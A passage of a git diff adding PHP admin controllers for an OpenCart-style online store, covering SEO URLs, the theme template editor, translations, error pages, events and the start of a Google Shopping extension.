+ $data['keyword'] = '';
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['store_id'])) {
+ $data['store_id'] = $this->request->post['store_id'];
+ } elseif (!empty($seo_url_info)) {
+ $data['store_id'] = $seo_url_info['store_id'];
+ } else {
+ $data['store_id'] = '';
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['language_id'])) {
+ $data['language_id'] = $this->request->post['language_id'];
+ } elseif (!empty($seo_url_info)) {
+ $data['language_id'] = $seo_url_info['language_id'];
+ } else {
+ $data['language_id'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/seo_url_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'design/seo_url')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['query']) {
+ $this->error['query'] = $this->language->get('error_query');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($this->request->post['keyword']);
+
+ foreach ($seo_urls as $seo_url) {
+ if ($seo_url['store_id'] == $this->request->post['store_id'] && $seo_url['query'] != $this->request->post['query']) {
+ $this->error['keyword'] = $this->language->get('error_exists');
+
+ break;
+ }
+ }
+
+ if (!$this->request->post['keyword']) {
+ $this->error['keyword'] = $this->language->get('error_keyword');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'design/seo_url')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/design/theme.php b/public/admin/controller/design/theme.php
new file mode 100644
index 0000000..1ed53a7
--- /dev/null
+++ b/public/admin/controller/design/theme.php
@@ -0,0 +1,311 @@
+load->language('design/theme');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/theme', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['stores'] = array();
+
+ $this->load->model('setting/store');
+
+ $results = $this->model_setting_store->getStores();
+
+ foreach ($results as $result) {
+ $data['stores'][] = array(
+ 'store_id' => $result['store_id'],
+ 'name' => $result['name']
+ );
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/theme', $data));
+ }
+
+ public function history() {
+ $this->load->language('design/theme');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $this->load->model('design/theme');
+ $this->load->model('setting/store');
+
+ $history_total = $this->model_design_theme->getTotalThemes();
+
+ $results = $this->model_design_theme->getThemes(($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $store_info = $this->model_setting_store->getStore($result['store_id']);
+
+ if ($store_info) {
+ $store = $store_info['name'];
+ } else {
+ $store = '';
+ }
+
+ $data['histories'][] = array(
+ 'store_id' => $result['store_id'],
+ 'store' => ($result['store_id'] ? $store : $this->language->get('text_default')),
+ 'route' => $result['route'],
+ 'theme' => $result['theme'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('design/theme/template', 'user_token=' . $this->session->data['user_token'], true),
+ 'delete' => $this->url->link('design/theme/delete', 'user_token=' . $this->session->data['user_token'] . '&theme_id=' . $result['theme_id'], true)
+ );
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('design/theme/history', 'user_token=' . $this->session->data['user_token'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('design/theme_history', $data));
+ }
+
+ public function path() {
+ $this->load->language('design/theme');
+
+ $json = array();
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ $this->load->model('setting/setting');
+
+ $theme = $this->model_setting_setting->getSettingValue('config_theme', $store_id);
+
+ // This is only here for compatibility with old themes.
+ if ($theme == 'theme_default') {
+ $theme = $this->model_setting_setting->getSettingValue('theme_default_directory', $store_id);
+ }
+
+ if (isset($this->request->get['path'])) {
+ $path = $this->request->get['path'];
+ } else {
+ $path = '';
+ }
+
+ if (substr(str_replace('\\', '/', realpath(DIR_CATALOG . 'view/theme/default/template/' . $path)), 0, strlen(DIR_CATALOG . 'view')) == DIR_CATALOG . 'view') {
+ $path_data = array();
+
+ // We grab the files from the default theme directory first as the custom themes drops back to the default theme if selected theme files can not be found.
+ $files = glob(rtrim(DIR_CATALOG . 'view/theme/{default,' . $theme . '}/template/' . $path, '/') . '/*', GLOB_BRACE);
+
+ if ($files) {
+ foreach($files as $file) {
+ if (!in_array(basename($file), $path_data)) {
+ if (is_dir($file)) {
+ $json['directory'][] = array(
+ 'name' => basename($file),
+ 'path' => trim($path . '/' . basename($file), '/')
+ );
+ }
+
+ if (is_file($file)) {
+ $json['file'][] = array(
+ 'name' => basename($file),
+ 'path' => trim($path . '/' . basename($file), '/')
+ );
+ }
+
+ $path_data[] = basename($file);
+ }
+ }
+ }
+ }
+
+ if (!empty($this->request->get['path'])) {
+ $json['back'] = array(
+ 'name' => $this->language->get('button_back'),
+ 'path' => urlencode(substr($path, 0, strrpos($path, '/'))),
+ );
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function template() {
+ $this->load->language('design/theme');
+
+ $json = array();
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ $this->load->model('setting/setting');
+
+ $theme = $this->model_setting_setting->getSettingValue('config_theme', $store_id);
+
+ // This is only here for compatibility with old themes.
+ if ($theme == 'theme_default') {
+ $theme = $this->model_setting_setting->getSettingValue('theme_default_directory', $store_id);
+ }
+
+ if (isset($this->request->get['path'])) {
+ $path = $this->request->get['path'];
+ } else {
+ $path = '';
+ }
+
+ $this->load->model('design/theme');
+
+ $theme_info = $this->model_design_theme->getTheme($store_id, $theme, $path);
+
+ if ($theme_info) {
+ $json['code'] = html_entity_decode($theme_info['code']);
+ } elseif (is_file(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path) && (substr(str_replace('\\', '/', realpath(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path)), 0, strlen(DIR_CATALOG . 'view')) == DIR_CATALOG . 'view')) {
+ $json['code'] = file_get_contents(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path);
+ } elseif (is_file(DIR_CATALOG . 'view/theme/default/template/' . $path) && (substr(str_replace('\\', '/', realpath(DIR_CATALOG . 'view/theme/default/template/' . $path)), 0, strlen(DIR_CATALOG . 'view')) == DIR_CATALOG . 'view')) {
+ $json['code'] = file_get_contents(DIR_CATALOG . 'view/theme/default/template/' . $path);
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function save() {
+ $this->load->language('design/theme');
+
+ $json = array();
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ $this->load->model('setting/setting');
+
+ $theme = $this->model_setting_setting->getSettingValue('config_theme', $store_id);
+
+ // This is only here for compatibility with old themes.
+ if ($theme == 'theme_default') {
+ $theme = $this->model_setting_setting->getSettingValue('theme_default_directory', $store_id);
+ }
+
+ if (isset($this->request->get['path'])) {
+ $path = $this->request->get['path'];
+ } else {
+ $path = '';
+ }
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'design/theme')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (substr($path, -5) != '.twig') {
+ $json['error'] = $this->language->get('error_twig');
+ }
+
+ if (!$json) {
+ $this->load->model('design/theme');
+
+ $pos = strpos($path, '.');
+
+ $this->model_design_theme->editTheme($store_id, $theme, ($pos !== false) ? substr($path, 0, $pos) : $path, $this->request->post['code']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function reset() {
+ $this->load->language('design/theme');
+
+ $json = array();
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ $this->load->model('setting/setting');
+
+ $theme = $this->model_setting_setting->getSettingValue('config_theme', $store_id);
+
+ // This is only here for compatibility with old themes.
+ if ($theme == 'theme_default') {
+ $theme = $this->model_setting_setting->getSettingValue('theme_default_directory', $store_id);
+ }
+
+ if (isset($this->request->get['path'])) {
+ $path = $this->request->get['path'];
+ } else {
+ $path = '';
+ }
+
+ if (is_file(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path) && (substr(str_replace('\\', '/', realpath(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path)), 0, strlen(DIR_CATALOG . 'view')) == DIR_CATALOG . 'view')) {
+ $json['code'] = file_get_contents(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path);
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function delete() {
+ $this->load->language('design/theme');
+
+ $json = array();
+
+ if (isset($this->request->get['theme_id'])) {
+ $theme_id = $this->request->get['theme_id'];
+ } else {
+ $theme_id = 0;
+ }
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'design/theme')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ $this->load->model('design/theme');
+
+ $this->model_design_theme->deleteTheme($theme_id);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/design/translation.php b/public/admin/controller/design/translation.php
new file mode 100644
index 0000000..588d28a
--- /dev/null
+++ b/public/admin/controller/design/translation.php
@@ -0,0 +1,509 @@
+load->language('design/translation');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/translation');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('design/translation');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/translation');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_translation->addTranslation($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('design/translation');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/translation');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_translation->editTranslation($this->request->get['translation_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('design/translation');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/translation');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $translation_id) {
+ $this->model_design_translation->deleteTranslation($translation_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'store';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $this->load->model('localisation/language');
+
+ $data['add'] = $this->url->link('design/translation/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('design/translation/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['translations'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $translation_total = $this->model_design_translation->getTotalTranslations();
+
+ $results = $this->model_design_translation->getTranslations($filter_data);
+
+ foreach ($results as $result) {
+ $data['translations'][] = array(
+ 'translation_id' => $result['translation_id'],
+ 'store' => ($result['store_id'] ? $result['store'] : $this->language->get('text_default')),
+ 'route' => $result['route'],
+ 'language' => $result['language'],
+ 'key' => $result['key'],
+ 'value' => $result['value'],
+ 'edit' => $this->url->link('design/translation/edit', 'user_token=' . $this->session->data['user_token'] . '&translation_id=' . $result['translation_id'], true),
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_store'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . '&sort=store' . $url, true);
+ $data['sort_language'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . '&sort=language' . $url, true);
+ $data['sort_route'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . '&sort=route' . $url, true);
+ $data['sort_key'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . '&sort=key' . $url, true);
+ $data['sort_value'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . '&sort=value' . $url, true);
+
+ $pagination = new Pagination();
+ $pagination->total = $translation_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('design/translation/history', 'user_token=' . $this->session->data['user_token'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($translation_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($translation_total - $this->config->get('config_limit_admin'))) ? $translation_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $translation_total, ceil($translation_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/translation_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['translation_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['key'])) {
+ $data['error_key'] = $this->error['key'];
+ } else {
+ $data['error_key'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['translation_id'])) {
+ $data['action'] = $this->url->link('design/translation/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('design/translation/edit', 'user_token=' . $this->session->data['user_token'] . '&translation_id=' . $this->request->get['translation_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['translation_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $translation_info = $this->model_design_translation->getTranslation($this->request->get['translation_id']);
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = $this->model_setting_store->getStores();
+
+ if (isset($this->request->post['store_id'])) {
+ $data['store_id'] = $this->request->post['store_id'];
+ } elseif (!empty($translation_info)) {
+ $data['store_id'] = $translation_info['store_id'];
+ } else {
+ $data['store_id'] = '';
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (!empty($translation_info)) {
+ $language = $this->model_localisation_language->getLanguage($translation_info['language_id']);
+ $code = $language['code'];
+ } else {
+ $code = $this->config->get('config_language');
+ $language = $this->model_localisation_language->getLanguageByCode($code);
+ }
+
+ if (isset($this->request->post['language_id'])) {
+ $data['language_id'] = $this->request->post['language_id'];
+ } elseif (!empty($translation_info)) {
+ $data['language_id'] = $translation_info['language_id'];
+ } else {
+ $data['language_id'] = $language['language_id'];
+ }
+
+ if (empty($translation_info)) {
+ // Get a list of files ready to upload
+ $data['paths'] = array();
+
+ $path = glob(DIR_CATALOG . 'language/'.$code.'/*');
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach ((array)glob($next) as $file) {
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ if (substr($file, -4) == '.php') {
+ $data['paths'][] = substr(substr($file, strlen(DIR_CATALOG . 'language/'.$code.'/')), 0, -4);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['route'])) {
+ $data['route'] = $this->request->post['route'];
+ } elseif (!empty($translation_info)) {
+ $data['route'] = $translation_info['route'];
+ } else {
+ $data['route'] = '';
+ }
+
+ if (isset($this->request->post['key'])) {
+ $data['key'] = $this->request->post['key'];
+ } elseif (!empty($translation_info)) {
+ $data['key'] = $translation_info['key'];
+ } else {
+ $data['key'] = '';
+ }
+
+ if (!empty($translation_info)) {
+ $directory = DIR_CATALOG . 'language/';
+
+ if (is_file($directory . $code . '/' . $translation_info['route'] . '.php') && substr(str_replace('\\', '/', realpath($directory . $code . '/' . $translation_info['route'] . '.php')), 0, strlen($directory)) == str_replace('\\', '/', $directory)) {
+ $_ = array();
+
+ include($directory . $code . '/' . $translation_info['route'] . '.php');
+
+ foreach ($_ as $key => $value) {
+ if ($translation_info['key'] == $key) {
+ $data['default'] = $value;
+ }
+ }
+
+ if (empty($data['default'])) {
+ $data['default'] = $translation_info['value'];
+ }
+ }
+ }
+
+ if (isset($this->request->post['value'])) {
+ $data['value'] = $this->request->post['value'];
+ } elseif (!empty($translation_info)) {
+ $data['value'] = $translation_info['value'];
+ } else {
+ $data['value'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/translation_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'design/translation')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['key']) < 3) || (utf8_strlen($this->request->post['key']) > 64)) {
+ $this->error['key'] = $this->language->get('error_key');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'design/translation')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function path() {
+ $this->load->language('design/translation');
+
+ $json = array();
+
+ if (isset($this->request->get['language_id'])) {
+ $language_id = $this->request->get['language_id'];
+ } else {
+ $language_id = 0;
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($language_id);
+
+ if (!empty($language_info)) {
+ $path = glob(DIR_CATALOG . 'language/'.$language_info['code'].'/*');
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach ((array)glob($next) as $file) {
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ if (substr($file, -4) == '.php') {
+ $json[] = substr(substr($file, strlen(DIR_CATALOG . 'language/'.$language_info['code'].'/')), 0, -4);
+ }
+ }
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function translation() {
+ $this->load->language('design/translation');
+
+ $json = array();
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ if (isset($this->request->get['language_id'])) {
+ $language_id = $this->request->get['language_id'];
+ } else {
+ $language_id = 0;
+ }
+
+ if (isset($this->request->get['path'])) {
+ $route = $this->request->get['path'];
+ } else {
+ $route = '';
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($language_id);
+
+ $directory = DIR_CATALOG . 'language/';
+
+ if ($language_info && is_file($directory . $language_info['code'] . '/' . $route . '.php') && substr(str_replace('\\', '/', realpath($directory . $language_info['code'] . '/' . $route . '.php')), 0, strlen($directory)) == str_replace('\\', '/', $directory)) {
+ $_ = array();
+
+ include($directory . $language_info['code'] . '/' . $route . '.php');
+
+ foreach ($_ as $key => $value) {
+ $json[] = array(
+ 'key' => $key,
+ 'value' => $value
+ );
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/error/not_found.php b/public/admin/controller/error/not_found.php
new file mode 100644
index 0000000..ca16c8d
--- /dev/null
+++ b/public/admin/controller/error/not_found.php
@@ -0,0 +1,26 @@
+load->language('error/not_found');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('error/not_found', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('error/not_found', $data));
+ }
+}
diff --git a/public/admin/controller/error/permission.php b/public/admin/controller/error/permission.php
new file mode 100644
index 0000000..1d2ffd6
--- /dev/null
+++ b/public/admin/controller/error/permission.php
@@ -0,0 +1,26 @@
+load->language('error/permission');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link($this->request->get['route'], 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('error/permission', $data));
+ }
+}
diff --git a/public/admin/controller/event/language.php b/public/admin/controller/event/language.php
new file mode 100644
index 0000000..3c748b7
--- /dev/null
+++ b/public/admin/controller/event/language.php
@@ -0,0 +1,26 @@
+language->all() as $key => $value) {
+ if (!isset($args[$key])) {
+ $args[$key] = $value;
+ }
+ }
+ }
+
+ // 1. Before controller load store all current loaded language data
+ public function before(&$route, &$output) {
+ $this->language->set('backup', $this->language->all());
+ }
+
+ // 2. After contoller load restore old language data
+ public function after(&$route, &$args, &$output) {
+ $data = $this->language->get('backup');
+
+ if (is_array($data)) {
+ foreach ($data as $key => $value) {
+ $this->language->set($key, $value);
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/event/statistics.php b/public/admin/controller/event/statistics.php
new file mode 100644
index 0000000..8043118
--- /dev/null
+++ b/public/admin/controller/event/statistics.php
@@ -0,0 +1,16 @@
+load->model('setting/statistics');
+
+ $this->model_report_statistics->addValue('review', 1);
+ }
+
+ // model/sale/return/removeReturn/after
+ public function removeReturn(&$route, &$args, &$output) {
+ $this->load->model('setting/statistics');
+
+ $this->model_report_statistics->addValue('return', 1);
+ }
+}
diff --git a/public/admin/controller/event/theme.php b/public/admin/controller/event/theme.php
new file mode 100644
index 0000000..2fa65a4
--- /dev/null
+++ b/public/admin/controller/event/theme.php
@@ -0,0 +1,15 @@
+config->set('template_engine', 'twig');
+ } elseif (is_file(DIR_TEMPLATE . $route . '.tpl')) {
+ $this->config->set('template_engine', 'template');
+ }
+ }
+}
diff --git a/public/admin/controller/extension/advertise/google.php b/public/admin/controller/extension/advertise/google.php
new file mode 100644
index 0000000..1f9b668
--- /dev/null
+++ b/public/admin/controller/extension/advertise/google.php
@@ -0,0 +1,2089 @@
+store_id = isset($this->request->get['store_id']) ? (int)$this->request->get['store_id'] : 0;
+
+ $this->loadStore($this->store_id);
+
+ $this->loadLibrary($this->store_id);
+ }
+
+ public function index() {
+ $this->load->language('extension/advertise/google');
+
+ $this->load->model('extension/advertise/google');
+
+ $this->load->config('googleshopping/googleshopping');
+
+ // Fix clashes with third-party extension table names
+ $this->model_extension_advertise_google->renameTables();
+
+ // Even though this should be ran during install, there are known cases of webstores which do not trigger the install method. This is why we run createTables here explicitly.
+ $this->model_extension_advertise_google->createTables();
+
+ // Fix a missing AUTO_INCREMENT
+ $this->model_extension_advertise_google->fixColumns();
+
+ // Redirect to the preliminary check-list
+ if (!$this->setting->get('advertise_google_checklist_confirmed')) {
+ $this->response->redirect($this->url->link('extension/advertise/google/checklist', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ try {
+ // If we have not connected, navigate to connect screen
+ if (!$this->setting->has('advertise_google_access_token')) {
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else if (!$this->setting->has('advertise_google_gmc_account_selected')) {
